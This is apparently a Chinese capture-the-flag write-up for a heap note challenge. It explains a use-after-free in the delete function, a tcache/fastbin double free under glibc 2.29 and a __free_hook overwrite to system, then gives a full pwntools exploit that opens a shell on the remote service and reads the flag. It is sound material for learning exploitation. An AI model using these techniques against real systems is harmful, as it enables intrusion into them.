未知高版本libc的堆问题
题目给了libc但下不来。github在国内没办法。
一般2.23的堆没有tcache第一个块在010,2.27以后加了250的tcache第1个在260,2.31以后在2a0
可以先泄露堆地址再根据大概的版本往下走。
先按2.27在本地作成,发现远程不能用,虽然小于2.31但tcache不能直接doublefree。应该用fastbinattack 。
漏点:
这里的块建content后在0x20处有个指向content的指针,在free以后清除,重建里这个位置没有覆盖,形成UAF,但使用起来比较麻烦。
unsigned __int64 m4free()
{
char *ptr; // [rsp+8h] [rbp-28h]
char v2[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Title of note to delete: ");
readn((__int64)v2, 16);
ptr = getid(v2);
if ( ptr )
{
*(_QWORD *)(*((_QWORD *)ptr + 2) + 24LL) = *((_QWORD *)ptr + 3);
*(_QWORD *)(*((_QWORD *)ptr + 3) + 16LL) = *((_QWORD *)ptr + 2);
free(*((void **)ptr + 4)); // 指针未清理
free(ptr);
--dword_4060;
}
return __readfsqword(0x28u) ^ v3;
}
处理思路:
- 建A,A1(A的content),B,C...... 先释放B,再释放A(同时会释放掉A1)这时A1的fd指向B,重建A时由于A里指向A1的指针还在,可以showA得到heap地址
- 给D加content,D1=A1写入链表头指针(双链表存储的结构,链头块指向程序加载地址),释放D后在这里建B(位置在A1,D1,先建下D将这个块用掉)show得到程序加载地址
- 同理在这里写got表得到libc地址,注意这里直接用上次的B,但会覆盖B的指针,由于堆地址得到,在写里恢复原指针,以免断链。
- 得到libc就成功了一半,发现是2.29-0ubuntu2上网上下载一个重来。
- 先耗掉原有的tcache
- 再建9个块并加0x38的content,然后释放,这时0x31,0x41各有7个进入tcache,2个进入fastbin.
- 再重建9个块(不加content)耗掉0x31的tcache
- 这时7和8在fastbin中,释放8(旧7新8)在fastbin里成环
- 新建7块并加content耗掉tcache里的0x41块
- 这里只有fastbin里的环,可以用doublefree方法了
- 建4个块,分别加content依次写入__free_hook,bin/sh,0,system再释放/bin/sh
flag文件时/home/note/flag,程序远程运行很慢,找文件时还会超时,好在/home就一个note也就一个。
完整的exp:
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 25491)
libc_elf = ELF('../../libc6_2.29-0ubuntu2/lib/x86_64-linux-gnu/libc-2.29.so')
one = [0xe21ce,0xe21d1,0xe21d4,0xe237f,0xe2383,0x106ef8]
libc_start_main_ret = 0x26b6b
menu = b"Choice: "
def add(title):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Title: ", title)
def addcontent(title, size, msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Title of note to write content: ", title)
p.sendlineafter(b"Size of content: ", str(size).encode())
p.sendlineafter(b"Content: ", msg)
def free(title):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Title of note to delete: ", title)
def show(title):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Title of note to show content: ", title)
def pwn():
add(b'A')
addcontent(b'A', 40, b'a')
add(b'B')
add(b'C')
add(b'D')
add(b'E')
free(b'B')
free(b'A') #ptr->content no clear
add(b'A')
show(b'A')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00') )
print('heap:', hex(heap_addr))
addcontent(b'D', 40, b'A'*0x20+p64(heap_addr + 0x40)) #B1
free(b'D')
add(b'D')
add(b'B')
show(b'B')
pwn_base = u64(p.recvline()[:-1].ljust(8, b'\x00') ) -0x4080
elf.address = pwn_base
print('pwn:', hex(pwn_base))
free(b'D')
add(b'D')
addcontent(b'E', 40, b'B'.ljust(0x10, b'\x00') +flat(heap_addr-0x60, heap_addr+0x60, elf.got['printf'])) #B1
show(b'B')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00') ) - libc_elf.sym['printf']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
add(b'F')
for i in range(9):
add(str(i).encode())
addcontent(str(i).encode(), 0x38, b'a')
for i in range(9):
free(str(i).encode())
for i in range(9):
add(str(i).encode())
free(b'8') #8+8.data
add(b'8')
#fastbin 0x38 loop
#clear tcache
for i in range(100,107):
add(str(i).encode())
for i in range(107,114):
add(str(i).encode())
addcontent(str(i).encode(), 0x38, b'a')
for i in range(115,119):
add(str(i).encode())
addcontent(b'115', 0x38, p64(libc_elf.sym['__free_hook']))
addcontent(b'116', 0x38, b'/bin/sh')
addcontent(b'117', 0x38, b'/bin/sh')
addcontent(b'118', 0x38, p64(libc_elf.sym['system']))
free(b'116')
p.sendline(b'cat /home/note/flag')
p.interactive()
connect()
pwn()